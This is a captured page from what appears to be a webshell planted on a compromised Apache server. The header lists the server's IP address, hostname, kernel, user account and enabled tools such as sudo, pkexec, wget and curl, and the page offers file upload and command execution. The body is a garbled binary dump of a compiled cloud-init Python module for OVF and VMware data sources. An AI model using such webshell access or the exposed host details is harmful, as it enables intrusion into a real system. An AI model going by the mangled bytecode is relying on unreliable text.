403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/cloudinit/sources/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/cloudinit/sources/__pycache__/DataSourceOVF.cpython-36.pyc
3

��b@z�@s�ddlZddlZddlZddlZddlmZddlmZddlmZ	ddlm
Z
mZmZm
Z
ddlmZddlmZmZddlmZdd	lmZdd
lmZddlmZddlmZdd
lmZddl m!Z!m"Z"m#Z#m$Z$m%Z%e	j&e'�Z(dZ)dZ*dZ+Gdd�dej,�Z-Gdd�de-�Z.dd�Z/dDdd�Z0dEdd�Z1dFd d!�Z2d"d#�Z3dGd$d%�Z4d&d'�Z5d(d)�Z6dHd*d+�Z7d,d-�Z8d.d/�Z9d0d1�Z:d2d3�Z;Gd4d5�d5e<�Z=e-ej>ffe.ej>ej?fffZ@d6d7�ZAd8d9�ZBd:d;�ZCd<d=�ZDd>d?�ZEd@dA�ZFdBdC�ZGdS)I�N)�minidom)�dmi)�log)�safeyaml�sources�subp�util)�Config)�PostCustomScript�PreCustomScript)�
ConfigFile)�NicConfigurator)�PasswordConfigurator)�GuestCustErrorEnum)�GuestCustEventEnum)�GuestCustStateEnum)�enable_nics�get_nics_to_enable�get_tools_config�set_customization_status�
set_gc_statusZ	deployPkgzenable-custom-scripts�/var/run/vmware-imcc@sLeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	e
dd��ZdS)�
DataSourceOVFZOVFcCs^tjj||||�d|_tjj|jd�|_d|_i|_	d|_
d|_d|_d|_
d|_d|_dS)NZovf�/�file://TF)rr)r�
DataSource�__init__�seed�os�path�join�seed_dir�environment�cfg�supported_seed_starts�vmware_customization_supported�_network_config�_vmware_nics_to_enable�_vmware_cust_conf�_vmware_cust_found)�self�sys_cfg�distro�paths�r.�#/usr/lib/python3.6/DataSourceOVF.pyr:szDataSourceOVF.__init__cCstjj|�}d||jfS)Nz%s [seed=%s])rr�__str__r)r*�rootr.r.r/r0GszDataSourceOVF.__str__c/fCs�g}i}d}d}d}d}ddi}t|jj�\}}	tjd�}
|
dkrLtjd�|r�tjj	|jj|�}t
|	�\}}}|	|_|j|��n�|
o�d|
j
�k�r*tjd�d}
d}|js�tjd	�n"tj|jd
d�}
tj|jdd�}|
p�|s�tjd
��n8d>}d}d}x,|D]$}t||�}|�rtjd|�P�qW|�rVt|j�}tjtjdtd|fd�}n
tjd�d}|�r tjj|�}t|�}t|�|_tjd|�yt|j�\}}}Wn8tk
�r�}ztd|tj||j�WYdd}~XnX|�r�|�r�tjd�d}|dk�r*|
�r*tjd�d}n
tjd�t |�o4|�}|�r.t!|jd�tjd �y0t"||�\}}}}|�rv||_#n|j$j%�|_#Wnpt&j'k
�r�}ztd!|t(j)||j�WYdd}~Xn8t*k
�r�}ztd"|tj||j�WYdd}~XnXd|_+|jd#�tj,|�t-t.j/t(j0�t!|jd$��n�|�r�d|_1y�t!|jd�t2|j�\}}}t3|�|_1|jj4}t5|tjj	|jj6d%��}|�o�|}|jj7}|�r�|�r�d&}|jj8�r�tjd'�d(}t9t:t;|�} | j
�d(k�r�d)}!tj|!�t-t.j<t(j=�t>|!��tjj	|jj?d*�d+�}"Wn8t*k
�rL}ztd,|tj||j�WYdd}~XnX|�r�|�r�yt@||�}#|#jA�Wn8t*k
�r�}ztd-|tj||j�WYdd}~XnXy$tjd.�tB|jdd|j$jC�|_#Wn8t*k
�r}ztd/|tjD||j�WYdd}~XnX|�r�tjd0�tE�}$|jjF}%y4|jjG}&|%�s<|&�rN|$jH|%|&|j$�n
tjd1�Wn8t*k
�r�}ztd2|tj||j�WYdd}~XnX|�r�ytI|||"�}'|'jA�Wn8t*k
�r�}ztd3|tj||j�WYdd}~XnX|�rHytJ|tjj	|jj6d%��Wn8t*k
�rF}ztd4|tj||j�WYdd}~XnXd|_+|jd#�tj,tjj|��tK|j1�t-t.j/t(j0�t!|jd$�nzd5tLfd6tMfg}(d})x |(D]\})}*|*�}	|	�r�P�q�W|	�r
t
|	d�\}}}|	|_d7|k�r|d7�r|d7|_#|j|)�tN|�d8k�rdSd9|k�r�|d9�r�|d9}+d},x"|jOD]}-|+jP|-��rD|-},P�qDW|,�sxtjd:|+|�dStjQ|+dd;�\}.}}tjd<|+�tjR||.g�}|j|+�tjR||g�}d=j	|�|_S||_T||_U||_V||_WdS)?N�zinstance-idz	iid-dsovfzsystem-product-namezNo system-product-name found�vmwarez$VMware Virtualization Platform foundFz3Skipping the check for VMware Customization supportZdisable_vmware_customizationT�allow_raw_dataz.Customization for VMware platform is disabled.�/usr/lib/vmware-tools�/usr/lib64/vmware-tools�/usr/lib/open-vm-tools�/usr/lib64/open-vm-tools�'/usr/lib/x86_64-linux-gnu/open-vm-tools�(/usr/lib/aarch64-linux-gnu/open-vm-toolszlibdeployPkgPlugin.soz$Found the customization plugin at %szwaiting for configuration filezcust.cfg)Zlogfunc�msg�func�argsz&Did not find the customization plugin.z,Found VMware Customization Config File at %szFile(s) missing in directoryz)Customization using raw data is disabled.z.Customization using VMware config is disabled.z-Did not find VMware Customization Config FileZStartedz0Start to load cloud-init meta data and user dataz&Error parsing the cloud-init meta dataz&Error loading cloud-init configurationzvmware-toolsZ
Successful�dataZfalsez=Set default value to true due to customization configuration.�truez-Custom script is disabled by VM Administrator�scriptszper-instancez+Error parsing the customization Config Filez(Error executing pre-customization scriptz#Preparing the Network configurationz%Error preparing Network ConfigurationzApplying password customizationzChanging password is not neededz%Error applying Password Configurationz)Error executing post-customization scriptzError creating marker fileszcom.vmware.guestInfoZisoznetwork-configr�seedfromz Seed from %s not supported by %s)ZtimeoutzUsing seeded cache data from %s�,)r5r6r7r8r9r:)X�get_ovf_envr-r!r�
read_dmi_data�LOG�debugrrr �read_ovf_environmentr"�append�lowerr%rZget_cfg_option_boolr+Zds_cfg�search_file�get_max_wait_from_cfgZlog_time�wait_for_imc_cfg_file�dirnamerr	r(�collect_imc_file_paths�FileNotFoundError�_raise_error_status�GuestCustEventZ GUESTCUST_EVENT_CUSTOMIZE_FAILED�boolr�load_cloudinit_datar&r,Zgenerate_fallback_configrZ	YAMLErrorrZ!GUESTCUST_ERROR_WRONG_META_FORMAT�	Exceptionr)�del_dirrrZGUESTCUST_STATE_DONEZGUESTCUST_ERROR_SUCCESSr'�read_vmware_imcrZ	marker_id�check_marker_existsZ	cloud_dirZcustom_script_nameZdefault_run_post_scriptr� CONFGROUPNAME_GUESTCUSTOMIZATION�&GUESTCUSTOMIZATION_ENABLE_CUST_SCRIPTS�GUESTCUST_STATE_RUNNINGZGUESTCUST_ERROR_SCRIPT_DISABLED�RuntimeErrorZ	get_cpathrZexecute�get_network_config_from_conf�osfamilyZ$GUESTCUST_EVENT_NETWORK_SETUP_FAILEDrZadmin_passwordZreset_password�	configurer
�setup_marker_filesr�transport_vmware_guestinfo�transport_iso9660�lenr$�
startswithZread_seededZ
mergemanydictr�metadataZuserdata_rawZvendordata_rawr#)/r*�found�md�udZvdZvmwareImcConfigFilePathZnicspathZdefaultsZseedfile�contents�system_typerr#Zallow_vmware_custr4Zsearch_pathsZpluginZdeployPkgPluginPathr�max_wait�md_pathZ
imcdirpathZcf�ud_path�eZuse_raw_data�networkZproduct_markerZ
hasmarkerfileZspecial_customizationZcustomscriptZdefValZcustScriptConfigr;ZccScriptsDirZprecustZpwdConfiguratorZadminpwdZresetpwdZpostcustZnp�nameZ	transfuncrAZ	seedfound�protoZmd_seedr.r.r/�	_get_dataKs�

























zDataSourceOVF._get_datacCs*tjd�j�}|dkr d|jSd|jS)Nzsystem-product-namer3zvmware (%s)zovf (%s))rrDrIr)r*rir.r.r/�_get_subplatform�s
zDataSourceOVF._get_subplatformcCs0d|jkrgS|jd}t|t�r&|S|gSdS)Nzpublic-keys)rd�
isinstance�list)r*Zpksr.r.r/�get_public_ssh_keys�s


z!DataSourceOVF.get_public_ssh_keyscCs|jS)N)r#)r*r.r.r/�get_config_obj�szDataSourceOVF.get_config_objcCs|jS)N)r&)r*r.r.r/�network_config�szDataSourceOVF.network_configN)�__name__�
__module__�__qualname__Zdsnamerr0rqrrrurv�propertyrwr.r.r.r/r6s
brc@seZdZdd�ZdS)�DataSourceOVFNetcCs2tj||||�tjj|jd�|_d|_d|_dS)Nzovf-net�http://�https://F)r}r~)rrrrr r!r$r%)r*r+r,r-r.r.r/r�szDataSourceOVFNet.__init__N)rxryrzrr.r.r.r/r|�sr|c
Csld}d}|}|s|Syt|j||��}Wn"tk
rJtjd||�YnX|dkrhtjd|||�|}|S)N�Zvmware_cust_file_max_waitzFailed to get '%s', using %srz/Invalid value '%s' for '%s', using '%s' instead)�int�get�
ValueErrorrE�warning)r#Zdefault_max_waitZmax_wait_cfg_optionrjr.r.r/rK�s(rK��cCs\d}||krd}xF||krVtjj||�}tjj|�r8|Stjd�tj|�||7}qWdS)Nr�z,Waiting for VMware Customization Config File)rrr �isfilerErF�timeZsleep)�filenameZmaxwaitZnaplen�dirpathZwaitedZfileFullPathr.r.r/rL�s


rLTFcCs(t|j|�}|j||�}t||j|j�S)N)r
�nicsZgenerate�get_network_configZname_serversZdns_suffixes)�configZuse_system_devicesr^r]ZnicConfiguratorZ
nics_cfg_listr.r.r/r\�sr\cCs(|}|s|r|jd||d��d|d�S)NZ
nameserver)�typeZaddress�searchr�)�versionr�)rH)r�Znameserversr�Zconfig_listr.r.r/r�s
r�cCsZi}i}d}|jr8|jr.|jd|j|d<n
|j|d<|jrH|j|d<d|d<|||fS)N�.zlocal-hostname�timezoneziid-vmware-imczinstance-id)Z	host_nameZdomain_namer�)r�rfr#rgr.r.r/rVs

rVcCst|�}i}i}d}dg}ddddg}dg}x�|j�D]�\}	}
|	dkrJd}	|	|kr\|
||	<q6|	|krn|
||	<q6|	|kr�|r�y$tj|
j��}t|�jd�||	<Wq�tk
r�tj	d	�Yq�Xq6|	d
kr6ytj|
j��}Wq6tk
r�|
j�}Yq6Xq6W|||fS)NZpasswordrAzlocal-hostnamezpublic-keyszinstance-idznetwork-configZhostnamernz%Ignore network-config in wrong formatz	user-data)
�get_properties�items�base64Z	b64decode�encode�safeload_yaml_or_dictr�rTrErF)rhZread_network�propsrfr#rgZ	cfg_propsZmd_propsZ
network_propsZprop�valrwr.r.r/rG&s4

rGcCsfd}x\|D]T}tjj||�}tjj|�r
ytj|�}||fStk
r\tjtd|�Yq
Xq
WdS)	N�ovf-env.xml�ovf_env.xml�OVF_ENV.XML�OVF-ENV.XMLzFailed loading ovf file %sF)r�r�r�r�)NF)	rrr r�r�	load_filerTZlogexcrE)rMZ	env_names�fnameZfull_fnrhr.r.r/rCEs

rCcCs�|sdSt|t�std|��tjj|�}|jd�rB|jd�d
}|jd�r\|jd�d}n|j	d�dkrndS|svdSd}tj
jd|�}tj
|�}|j|�d	k	S)z�Test if devname matches known list of devices which may contain iso9660
       filesystems.

    Be helpful in accepting either knames (with no leading /dev/) or full path
    names, but do not allow paths outside of /dev/, like /dev/foo/bar/xxx.
    Fz Unexpected input for devname: %sz/dev/r�rrz^(sr[0-9]+|hd[a-z]|xvd.*)ZCLOUD_INIT_CDROM_DEV_REGEXN���r�)rs�strr�rr�normpathrc�	partition�split�count�environr��re�compile�match)ZdevnameZ
default_regexZ
devname_regexZcdmatchr.r.r/�maybe_cdrom_deviceRs"



r�c
Cs�tj�}xT|j�D]H\}}|d}|dkr0|r0qt|�s:q|d}t|�\}}|dk	r|SqW|rhd}nd}dd�tj|r�d|nd�D�}	xV|	D]N}ytj|t|d�\}}Wn$tjk
r�tj	d	|�w�YnX|dk	r�|Sq�WdS)
N�fstypeZiso9660Z
mountpointFcSsg|]}t|�r|�qSr.)r�)�.0�devr.r.r/�
<listcomp>�sz%transport_iso9660.<locals>.<listcomp>zTYPE=%s)�mtypez%s not mountable as iso9660)
r�mountsr�r�rCZfind_devs_withZmount_cbZMountFailedErrorrErF)
Zrequire_isor�r��infor�ZmpZ_fnamerhr�Zdevsr.r.r/ra{s2
racCs�d}d}tj|�s|S|dg}y(tj|�\}}|r6|Stjd||�WnHtjk
r�}z*|jdkr~tjd||j�tj|�WYdd}~XnX|S)Nzvmware-rpctoolzinfo-get guestinfo.ovfEnvz%cmd %s exited 0 with empty stdout: %sr�z%s exited with code %d)rZwhichrErFZProcessExecutionErrorZ	exit_coder�)ZrpctoolZ	not_found�cmd�outZ_errrmr.r.r/r`�s

r`cCs6g}|j�s|Sx |jD]}||�r|j|�qW|S)N)�
hasChildNodesZ
childNodesrH)ZnodeZfilter_func�retZchildr.r.r/�
find_child�sr�c	Cs�tj|�}|jjdkrtd��|jj�s0td��d}t|jdd��}t|�dkrXtd��i}t|dd	d��}x4|D],}|jj	|d
�j
}|jj	|d�j
}|||<qtW|S)NZEnvironmentzNo Environment NodezNo Child Nodesz)http://schemas.dmtf.org/ovf/environment/1cSs
|jdkS)NZPropertySection)�	localName)�nr.r.r/�<lambda>�sz get_properties.<locals>.<lambda>rzNo 'PropertySection'scSs
|jdkS)NZProperty)r�)r�r.r.r/r��s�key�value)rZparseStringZdocumentElementr��XmlErrorr�r�rbZ
attributesZgetNamedItemNSr�)	rhZdomZenvNsURIZpropSectionsr�Z	propElems�elemr�r�r.r.r/r��s$


r�cCsD|s|rdSx.tj|�D] \}}}||krtjj||�SqWdS)N)r�walkrr )r�r�r1Z_dirs�filesr.r.r/rJ�srJc@seZdZdS)r�N)rxryrzr.r.r.r/r��sr�cCstj|t�S)N)rZlist_from_depends�datasources)Zdependsr.r.r/�get_datasource_list�sr�cCs2|sdStjj|d|d�}tjj|�r.dSdS)ag
    Check the existence of a marker file.
    Presence of marker file determines whether a certain code path is to be
    executed. It is needed for partial guest customization in VMware.
    @param markerid: is an unique string representing a particular product
                     marker.
    @param: marker_dir: The directory in which markers exist.
    Fz.markerfile-z.txtT)rrr �exists)�markerid�
marker_dir�
markerfiler.r.r/rW�s	rWcCsdtjd�tjj|d|d�}x0tj|�D]"}|jd�r,tjtjj||��q,Wt	|d�j
�dS)a"
    Create a new marker file.
    Marker files are unique to a full customization workflow in VMware
    environment.
    @param markerid: is an unique string representing a particular product
                     marker.
    @param: marker_dir: The directory in which markers exist.

    zHandle marker creationz.markerfile-z.txtz.markerfile�wN)rErFrrr �listdirrcrZdel_file�open�close)r�r�r�r�r.r.r/r_
s


r_cCs>tjd||�ttj|�t||�tjtj	j
|��|�dS)z�
    Raise error and send customization status to the underlying VMware
    Virtualization Platform. Also, cleanup the imc directory.
    z%s: %sN)rErFrrrZrrrUrrrM)�prefix�errorZeventZconfig_fileZconfr.r.r/rPs

rPcCsZtjd||�i}d}d}ttj|��}d|kr8|d}|rNtj|�jdd�}||i|fS)z�
    Load the cloud-init meta data, user data, cfg and network from the
    given files

    @return: 4-tuple of configuration
        metadata, userdata, cfg={}, network

    @raises: FileNotFoundError if md_path or ud_path are absent
    z+load meta data from: %s: user data from: %sNrn�
r2)rErFr�rr��replace)rkrlrfrgrnr.r.r/rS+s
rScCs|siStj|�S)z�
    The meta data could be JSON or YAML. Since YAML is a strict superset of
    JSON, we will unmarshal the data as YAML. If data is None then a new
    dictionary is returned.
    )r�load)r>r.r.r/r�Dsr�cCs�d}d}d}|j}|rntjjt|�}tjj|�s<td|��|j}|r�tjjt|�}tjj|�s�td|��n*tjjtd�}tjj|�s�tj	d|�d}|||fS)a\
    collect all the other imc files.

    metadata is preferred to nics.txt configuration data.

    If metadata file exists because it is specified in customization
    configuration, then metadata is required and userdata is optional.

    @return a 3-tuple containing desired configuration file paths if present
        Expected returns:
             1. user provided metadata and userdata (md_path, ud_path, None)
             2. user provided metadata (md_path, None, None)
             3. user-provided network config (None, None, nics_path)
             4. No config found (None, None, None)
    Nzmeta data file is not found: %szuser data file is not found: %sznics.txtz%s does not exist.)
Zmeta_data_namerrr �VMWARE_IMC_DIRr�rOZuser_data_namerErF)Z	cust_confrkrlZ	nics_pathZmd_fileZud_filer.r.r/rNOs(
rN)r�r�r)TFN)NNN)F)T)Hr�rr�r�Zxml.domrZ	cloudinitrrZloggingrrrrZ+cloudinit.sources.helpers.vmware.imc.configr	Z9cloudinit.sources.helpers.vmware.imc.config_custom_scriptr
rZ0cloudinit.sources.helpers.vmware.imc.config_filerZ/cloudinit.sources.helpers.vmware.imc.config_nicr
Z2cloudinit.sources.helpers.vmware.imc.config_passwdrZ4cloudinit.sources.helpers.vmware.imc.guestcust_errorrZ4cloudinit.sources.helpers.vmware.imc.guestcust_eventrrQZ4cloudinit.sources.helpers.vmware.imc.guestcust_staterZ3cloudinit.sources.helpers.vmware.imc.guestcust_utilrrrrrZ	getLoggerrxrErXrYr�rrr|rKrLr\r�rVrGrCr�rar`r�r�rJrTr�ZDEP_FILESYSTEMZDEP_NETWORKr�r�rWr_rPrSr�rNr.r.r.r/�<module>s`







)
'
!


Youez - 2016 - github.com/yon3zu
LinuXploit